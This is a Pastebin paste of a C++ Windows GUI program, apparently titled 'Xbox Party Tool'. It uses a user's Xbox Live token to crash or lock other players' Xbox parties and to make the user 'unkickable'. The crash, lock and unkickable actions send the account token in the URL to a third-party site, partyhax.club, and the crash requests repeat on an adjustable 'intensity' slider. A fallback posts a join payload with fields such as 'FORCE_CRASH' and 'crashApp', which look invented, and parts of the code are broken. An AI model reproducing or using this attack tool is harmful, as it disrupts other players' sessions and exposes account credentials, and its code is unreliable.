Advertisement
zpolice281

Untitled

Apr 27th, 2025 (edited)
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 16.08 KB | None | 0 0
  1. #include <windows.h>
  2. #include <commctrl.h>
  3. #include <iostream>
  4. #include <string>
  5. #include <memory>
  6. #include <ppltasks.h>
  7. #include <xbox/live/xbox_live.h>
  8. #include <winrt/Windows.Web.Http.h>
  9. #include <winrt/Windows.Security.Authentication.Web.Core.h>
  10. #include <winrt/Windows.Security.Credentials.h>
  11. #include <winrt/Windows.Data.Json.h>
  12.  
  13. using namespace concurrency;
  14. using namespace winrt;
  15. using namespace winrt::Windows::Web::Http;
  16. using namespace winrt::Windows::Security::Authentication::Web::Core;
  17. using namespace winrt::Windows::Security::Credentials;
  18. using namespace winrt::Windows::Data::Json;
  19. using namespace xbox::services;
  20. using namespace xbox::services::system;
  21.  
  22. // Config
  23. const std::wstring XBL_TOKEN = L"YOUR_XBL_TOKEN_HERE"; // Replace with your XBL token
  24. const std::wstring XBL_AUTH_URL = L"https://xsts.auth.xboxlive.com/xsts/authorize";
  25. const std::wstring PROFILE_URL = L"https://profile.xboxlive.com/users/me/profile/settings";
  26. const std::wstring SESSIONS_URL = L"https://sessiondirectory.xboxlive.com/sessions";
  27. const std::wstring SESSION_URL_BASE = L"https://sessiondirectory.xboxlive.com/handles/";
  28. const std::wstring PARTYHAX_API_BASE = L"https://partyhax.club/api/";
  29.  
  30. // Global variables for UI state
  31. bool unkickable_enabled = false;
  32. int crash_intensity = 1;
  33. std::wstring current_xsts_token;
  34. std::wstring current_session_id;
  35. std::wstring current_xuid;
  36. int selected_action = 0; // 0 = Crash, 1 = Lock
  37.  
  38. // UI control IDs
  39. #define IDC_TAB 1000
  40. #define IDC_TOGGLE 1001
  41. #define IDC_SLIDER 1002
  42. #define IDC_BUTTON 1003
  43. #define IDC_COMBO 1004
  44.  
  45. // Function to get XSTS token from XBL token
  46. task<xbox_live_result<token_and_signature_result>> get_xsts_token(const std::wstring& xbl_token)
  47. {
  48.     HttpClient client;
  49.     HttpRequestMessage request(HttpMethod::Post(), Uri(XBL_AUTH_URL));
  50.    
  51.     request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xbl_token);
  52.     request.Headers().Append(L"Content-Type", L"application/json");
  53.    
  54.     std::wstring payload = L"{\"Properties\":{\"SandboxId\":\"RETAIL\",\"UserTokens\":[\"" + xbl_token + L"\"]},\"RelyingParty\":\"http://xboxlive.com\",\"TokenType\":\"JWT\"}";
  55.     request.Content(HttpStringContent(payload));
  56.    
  57.     return create_task(client.SendRequestAsync(request))
  58.         .then([](HttpResponseMessage response) {
  59.             if (response.StatusCode() == HttpStatusCode::Ok) {
  60.                 auto result = response.Content().ReadAsStringAsync().get();
  61.                 std::wstring token = result;
  62.                 return xbox_live_result<token_and_signature_result>(token_and_signature_result(token, L""));
  63.             }
  64.             throw std::runtime_error("Failed to get XSTS token");
  65.         });
  66. }
  67.  
  68. // Function to get XUID from profile
  69. task<std::wstring> get_xuid(const std::wstring& xsts_token)
  70. {
  71.     HttpClient client;
  72.     HttpRequestMessage request(HttpMethod::Get(), Uri(PROFILE_URL));
  73.    
  74.     request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xsts_token);
  75.     request.Headers().Append(L"Content-Type", L"application/json");
  76.     request.Headers().Append(L"X-Xbl-Contract-Version", L"2");
  77.    
  78.     return create_task(client.SendRequestAsync(request))
  79.         .then([](HttpResponseMessage response) {
  80.             if (response.StatusCode() == HttpStatusCode::Ok) {
  81.                 auto result = response.Content().ReadAsStringAsync().get();
  82.                 JsonObject json = JsonObject::Parse(result);
  83.                 std::wstring xuid = json.GetNamedString(L"id");
  84.                 return xuid;
  85.             }
  86.             throw std::runtime_error("Failed to get XUID");
  87.         });
  88. }
  89.  
  90. // Function to get current party session ID
  91. task<std::wstring> get_party_session_id(const std::wstring& xsts_token, const std::wstring& xuid)
  92. {
  93.     HttpClient client;
  94.     HttpRequestMessage request(HttpMethod::Get(), Uri(SESSIONS_URL + L"?xuid=" + xuid));
  95.    
  96.     request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xsts_token);
  97.     request.Headers().Append(L"Content-Type", L"application/json");
  98.     request.Headers().Append(L"X-Xbl-Contract-Version", L"2");
  99.    
  100.     return create_task(client.SendRequestAsync(request))
  101.         .then([](HttpResponseMessage response) {
  102.             if (response.StatusCode() == HttpStatusCode::Ok) {
  103.                 auto result = response.Content().ReadAsStringAsync().get();
  104.                 JsonObject json = JsonObject::Parse(result);
  105.                 JsonArray sessions = json.GetNamedArray(L"sessions");
  106.                 if (sessions.Size() > 0) {
  107.                     std::wstring session_id = sessions.GetObjectAt(0).GetNamedString(L"sessionId");
  108.                     return session_id;
  109.                 }
  110.                 throw std::runtime_error("No active party sessions found");
  111.             }
  112.             throw std::runtime_error("Failed to get sessions");
  113.         });
  114. }
  115.  
  116. // Function to make yourself unkickable using PartyHax API
  117. task<void> make_unkickable(const std::wstring& xbl_token, const std::wstring& xuid)
  118. {
  119.     HttpClient client;
  120.     std::wstring url = PARTYHAX_API_BASE + L"xboxpartyunkickable/xuid=" + xuid + L",Token=" + xbl_token;
  121.     HttpRequestMessage request(HttpMethod::Get(), Uri(url));
  122.    
  123.     request.Headers().Append(L"Content-Type", L"application/json");
  124.    
  125.     return create_task(client.SendRequestAsync(request))
  126.         .then([](HttpResponseMessage response) {
  127.             if (response.StatusCode() == HttpStatusCode::Ok) {
  128.                 std::cout << "PartyHax API: Successfully made unkickable.\n";
  129.             } else {
  130.                 std::cerr << "PartyHax API: Failed to make unkickable. Status: " << static_cast<int>(response.StatusCode()) << "\n";
  131.             }
  132.         });
  133. }
  134.  
  135. // Function to crash the party using PartyHax API with fallback
  136. task<void> crash_party(const std::wstring& xbl_token, const std::wstring& xuid, const std::wstring& session_id, int intensity)
  137. {
  138.     HttpClient client;
  139.     std::wstring url = PARTYHAX_API_BASE + L"xboxpartycrash/xuid=" + xuid + L",Token=" + xbl_token;
  140.     HttpRequestMessage request(HttpMethod::Get(), Uri(url));
  141.    
  142.     request.Headers().Append(L"Content-Type", L"application/json");
  143.    
  144.     bool partyhax_success = false;
  145.     for (int i = 0; i < intensity; ++i) {
  146.         create_task(client.SendRequestAsync(request))
  147.             .then([&partyhax_success](HttpResponseMessage response) {
  148.                 if (response.StatusCode() == HttpStatusCode::Ok) {
  149.                     std::cout << "PartyHax API: Crash request sent.\n";
  150.                     partyhax_success = true;
  151.                 } else {
  152.                     std::cerr << "PartyHax API: Crash request failed. Status: " << static_cast<int>(response.StatusCode()) << "\n";
  153.                 }
  154.             });
  155.         Sleep(50);
  156.     }
  157.    
  158.     // Fallback to direct Xbox Live method if PartyHax fails
  159.     if (!partyhax_success && !session_id.empty()) {
  160.         std::cout << "Falling back to direct Xbox Live crash method...\n";
  161.         HttpRequestMessage fallback_request(HttpMethod::Post(), Uri(SESSION_URL_BASE + session_id + L"/join"));
  162.         fallback_request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xbl_token);
  163.         fallback_request.Headers().Append(L"Content-Type", L"application/json");
  164.         fallback_request.Headers().Append(L"X-Xbl-Contract-Version", L"2");
  165.        
  166.         std::wstring payload = L"{\"userId\":\"FORCE_CRASH\",\"inviteId\":null,\"bypassInvite\":true,\"overload\":true,\"crashApp\":true}";
  167.         fallback_request.Content(HttpStringContent(payload));
  168.        
  169.         for (int i = 0; i < intensity; ++i) {
  170.             create_task(client.SendRequestAsync(fallback_request))
  171.                 .then([](HttpResponseMessage response) {
  172.                     std::cout << "Fallback: Crash request sent. Status: " << static_cast<int>(response.StatusCode()) << "\n";
  173.                 });
  174.             Sleep(50);
  175.         }
  176.     }
  177.    
  178.     return create_task([]() {});
  179. }
  180.  
  181. // Function to lock the party using PartyHax API
  182. task<void> lock_party(const std::wstring& xbl_token, const std::wstring& xuid)
  183. {
  184.     HttpClient client;
  185.     std::wstring url = PARTYHAX_API_BASE + L"xboxpartylock/xuid=" + xuid + L",Token=" + xbl_token;
  186.     HttpRequestMessage request(HttpMethod::Get(), Uri(url));
  187.    
  188.     request.Headers().Append(L"Content-Type", L"application/json");
  189.    
  190.     return create_task(client.SendRequestAsync(request))
  191.         .then([](HttpResponseMessage response) {
  192.             if (response.StatusCode() == HttpStatusCode::Ok) {
  193.                 std::cout << "PartyHax API: Party locked successfully.\n";
  194.             } else {
  195.                 std::cerr << "PartyHax API: Failed to lock party. Status: " << static_cast<int>(response.StatusCode()) << "\n";
  196.             }
  197.         });
  198. }
  199.  
  200. // Window procedure for the UI
  201. LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
  202. {
  203.     static HWND hwndTab, hwndToggle, hwndSlider, hwndButton, hwndCombo;
  204.     static HFONT hFont;
  205.  
  206.     switch (msg)
  207.     {
  208.     case WM_CREATE:
  209.     {
  210.         // Initialize common controls
  211.         INITCOMMONCONTROLSEX icex;
  212.         icex.dwSize = sizeof(INITCOMMONCONTROLSEX);
  213.         icex.dwICC = ICC_TAB_CLASSES | ICC_TRACKBAR_CLASS;
  214.         InitCommonControlsEx(&icex);
  215.  
  216.         // Create font
  217.         hFont = CreateFont(16, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE, ANSI_CHARSET,
  218.                            OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
  219.                            DEFAULT_PITCH | FF_SWISS, L"Segoe UI");
  220.  
  221.         // Create tab control
  222.         hwndTab = CreateWindow(WC_TABCONTROL, L"", WS_CHILD | WS_VISIBLE,
  223.                                5, 5, 390, 290, hwnd, (HMENU)IDC_TAB, GetModuleHandle(NULL), NULL);
  224.         SendMessage(hwndTab, WM_SETFONT, (WPARAM)hFont, TRUE);
  225.  
  226.         TCITEM tie;
  227.         tie.mask = TCIF_TEXT;
  228.         tie.pszText = L"Party Controls";
  229.         TabCtrl_InsertItem(hwndTab, 0, &tie);
  230.  
  231.         // Create toggle (checkbox)
  232.         hwndToggle = CreateWindow(L"BUTTON", L"Unkickable", WS_CHILD | WS_VISIBLE | BS_CHECKBOX,
  233.                                   20, 40, 150, 30, hwnd, (HMENU)IDC_TOGGLE, GetModuleHandle(NULL), NULL);
  234.         SendMessage(hwndToggle, WM_SETFONT, (WPARAM)hFont, TRUE);
  235.  
  236.         // Create slider
  237.         CreateWindow(L"STATIC", L"Crash Intensity: 1", WS_CHILD | WS_VISIBLE,
  238.                      20, 80, 150, 20, hwnd, NULL, GetModuleHandle(NULL), NULL);
  239.         hwndSlider = CreateWindow(TRACKBAR_CLASS, L"", WS_CHILD | WS_VISIBLE | TBS_AUTOTICKS,
  240.                                   20, 100, 200, 30, hwnd, (HMENU)IDC_SLIDER, GetModuleHandle(NULL), NULL);
  241.         SendMessage(hwndSlider, TBM_SETRANGE, TRUE, MAKELONG(1, 20));
  242.         SendMessage(hwndSlider, TBM_SETPOS, TRUE, 1);
  243.         SendMessage(hwndSlider, WM_SETFONT, (WPARAM)hFont, TRUE);
  244.  
  245.         // Create dropdown
  246.         hwndCombo = CreateWindow(WC_COMBOBOX, L"", WS_CHILD | WS_VISIBLE | CBS_DROPDOWNLIST,
  247.                                  20, 140, 150, 100, hwnd, (HMENU)IDC_COMBO, GetModuleHandle(NULL), NULL);
  248.         SendMessage(hwndCombo, CB_ADDSTRING, 0, (LPARAM)L"Crash Party");
  249.         SendMessage(hwndCombo, CB_ADDSTRING, 0, (LPARAM)L"Lock Party");
  250.         SendMessage(hwndCombo, CB_SETCURSEL, 0, 0);
  251.         SendMessage(hwndCombo, WM_SETFONT, (WPARAM)hFont, TRUE);
  252.  
  253.         // Create button
  254.         hwndButton = CreateWindow(L"BUTTON", L"Execute", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
  255.                                   20, 180, 100, 30, hwnd, (HMENU)IDC_BUTTON, GetModuleHandle(NULL), NULL);
  256.         SendMessage(hwndButton, WM_SETFONT, (WPARAM)hFont, TRUE);
  257.  
  258.         // Set dark theme
  259.         SetWindowLong(hwnd, GWL_STYLE, GetWindowLong(hwnd, GWL_STYLE) | WS_CLIPCHILDREN);
  260.         SetBkColor(GetDC(hwnd), RGB(30, 30, 30));
  261.         break;
  262.     }
  263.     case WM_COMMAND:
  264.     {
  265.         if (LOWORD(wParam) == IDC_TOGGLE)
  266.         {
  267.             unkickable_enabled = (SendMessage(hwndToggle, BM_GETCHECK, 0, 0) == BST_CHECKED);
  268.             if (unkickable_enabled && !current_xuid.empty())
  269.             {
  270.                 make_unkickable(XBL_TOKEN, current_xuid);
  271.             }
  272.         }
  273.         if (LOWORD(wParam) == IDC_COMBO)
  274.         {
  275.             if (HIWORD(wParam) == CBN_SELCHANGE)
  276.             {
  277.                 selected_action = SendMessage(hwndCombo, CB_GETCURSEL, 0, 0);
  278.             }
  279.         }
  280.         if (LOWORD(wParam) == IDC_BUTTON)
  281.         {
  282.             if (!current_xuid.empty())
  283.             {
  284.                 switch (selected_action)
  285.                 {
  286.                 case 0: // Crash Party
  287.                     crash_party(XBL_TOKEN, current_xuid, current_session_id, crash_intensity);
  288.                     break;
  289.                 case 1: // Lock Party
  290.                     lock_party(XBL_TOKEN, current_xuid);
  291.                     break;
  292.                 }
  293.             }
  294.             else
  295.             {
  296.                 MessageBox(hwnd, L"XUID not found. Ensure auth succeeded and try again.", L"Error", MB_OK | MB_ICONERROR);
  297.             }
  298.         }
  299.         break;
  300.     }
  301.     case WM_HSCROLL:
  302.     {
  303.         if ((HWND)lParam == hwndSlider)
  304.         {
  305.             crash_intensity = SendMessage(hwndSlider, TBM_GETPOS, 0, 0);
  306.             wchar_t buf[32];
  307.             wsprintf(buf, L"Crash Intensity: %d", crash_intensity);
  308.             SetWindowText(GetDlgItem(hwnd, IDC_STATIC), buf);
  309.         }
  310.         break;
  311.     }
  312.     case WM_PAINT:
  313.     {
  314.         PAINTSTRUCT ps;
  315.         HDC hdc = BeginPaint(hwnd, &ps);
  316.         SetBkColor(hdc, RGB(30, 30, 30));
  317.         SetTextColor(hdc, RGB(200, 200, 200));
  318.         EndPaint(hwnd, &ps);
  319.         break;
  320.     }
  321.     case WM_DESTROY:
  322.         DeleteObject(hFont);
  323.         PostQuitMessage(0);
  324.         break;
  325.     default:
  326.         return DefWindowProc(hwnd, msg, wParam, lParam);
  327.     }
  328.     return 0;
  329. }
  330.  
  331. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  332. {
  333.     // Initialize WinRT
  334.     winrt::init_apartment();
  335.  
  336.     // Register window class
  337.     WNDCLASS wc = {0};
  338.     wc.lpfnWndProc = WndProc;
  339.     wc.hInstance = hInstance;
  340.     wc.lpszClassName = L"XboxPartyToolClass";
  341.     wc.hbrBackground = CreateSolidBrush(RGB(30, 30, 30));
  342.     RegisterClass(&wc);
  343.  
  344.     // Create window
  345.     HWND hwnd = CreateWindow(L"XboxPartyToolClass", L"Xbox Party Tool",
  346.                             WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
  347.                             CW_USEDEFAULT, CW_USEDEFAULT, 400, 300,
  348.                             NULL, NULL, hInstance, NULL);
  349.     ShowWindow(hwnd, nCmdShow);
  350.  
  351.     // Authenticate and get XUID/session ID
  352.     try
  353.     {
  354.         get_xsts_token(XBL_TOKEN)
  355.             .then([](xbox_live_result<token_and_signature_result> result) {
  356.                 if (!result.err()) {
  357.                     current_xsts_token = result.payload().token();
  358.                     std::wcout << L"Got XSTS token: " << current_xsts_token << L"\n";
  359.                     return current_xsts_token;
  360.                 }
  361.                 throw std::runtime_error("Token fetch failed");
  362.             })
  363.             .then([](std::wstring xsts_token) {
  364.                 return get_xuid(xsts_token)
  365.                     .then([xsts_token](std::wstring xuid) {
  366.                         current_xuid = xuid;
  367.                         std::wcout << L"Got XUID: " << xuid << L"\n";
  368.                         return std::make_pair(xsts_token, xuid);
  369.                     });
  370.             })
  371.             .then([](std::pair<std::wstring, std::wstring> pair) {
  372.                 auto [xsts_token, xuid] = pair;
  373.                 return get_party_session_id(xsts_token, xuid)
  374.                     .then([xsts_token, xuid](std::wstring session_id) {
  375.                         current_session_id = session_id;
  376.                         std::wcout << L"Got party session ID: " << session_id << L"\n";
  377.                     });
  378.             }).get();
  379.     }
  380.     catch (const std::exception& e)
  381.     {
  382.         MessageBox(hwnd, L"Failed to initialize: " + std::wstring(e.what(), e.what() + strlen(e.what())), L"Error", MB_OK | MB_ICONERROR);
  383.     }
  384.  
  385.     // Message loop
  386.     MSG msg;
  387.     while (GetMessage(&msg, NULL, 0, 0))
  388.     {
  389.         TranslateMessage(&msg);
  390.         DispatchMessage(&msg);
  391.     }
  392.  
  393.     winrt::uninit_apartment();
  394.     return 0;
  395. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement